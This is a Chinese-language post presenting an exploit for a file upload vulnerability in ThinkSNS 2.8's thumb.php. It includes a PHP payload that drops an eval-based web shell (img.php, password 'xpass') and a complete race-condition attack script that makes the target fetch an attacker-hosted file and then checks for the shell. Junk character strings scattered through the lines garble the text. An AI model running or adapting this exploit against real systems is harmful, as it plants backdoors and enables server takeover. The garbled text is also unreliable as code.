Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
$ Q$ q3 X% y3 y2 _" j& Z漏洞文件
1 t7 a0 h6 C7 u( a. h0 N存在漏洞的文件为：thumb.php
" h/ N6 i& r: i! T- ^作者：韦鲲鹏
) r# n& {  l  b, N+ i1、        准备如下PHP文件并上传到服务器（自己的）。
' F8 z* A( ~$ C" i8 t# N文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
+ s4 H! {, d  q2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

; a$ f# ^: a5 m6 s  k4 P3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
2 i/ B+ \7 k$ B2 @6 U7 Y/ aExploit文件内容如下：（这个我就不详细解释了）
<?php
( S& c- d# p) }8 i6 C8 g5 Aerror_reporting(0);
set_time_limit(0);
" \, ^) a2 i4 x7 Dini_set(“default_socket_timeout”, 5);
1 k1 J( s, o9 e, W; rfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
+ U5 I1 y' _& r. Kif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
" T5 s% T2 w8 ufunction http_recv($fp) {
9 |5 f8 G+ b! b4 K6 e& j- }$ret=”";
5 e" m' [% G( S+ ^( l  swhile (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
, f( c( s! N7 }  b& h6 a+ D2 [- ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;
' v9 B' z  _5 G. E* L. Sprint “# Discovered by 韦鲲鹏 #\n\n”;
6 u1 d" l; y  Fif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 F9 S8 _' |! S5 t4 e/ l* Pdie();
}
6 _3 \; l8 O0 h1 F3 u$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
0 G1 t1 X6 G' S! |# V9 Z) _$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
9 b) O2 r+ P; P: a0 H7 G//临时文件访问数据包
. d& w& X8 n4 B$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& N: T8 Z9 @3 L, a' R5 G4 E$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
7 u, h% q$ a& p* |* {! hwhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
0 l+ T6 Z. L1 v- D- xfclose(http_send($host, 80, $headers_up));
7 w) m, w' Y7 x5 I6 M  F, Nwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
" B2 M" P! k: @$ Y0 p2 \. L  {. @" Q}
9 [$ I* {' f, B( {$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
" X+ Y/ J! s2 A! a1 m9 ^. [$headers .= “Connection: close\r\n\r\n”;
  A# ]5 J, s) N) z9 Q; Z$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
?>
​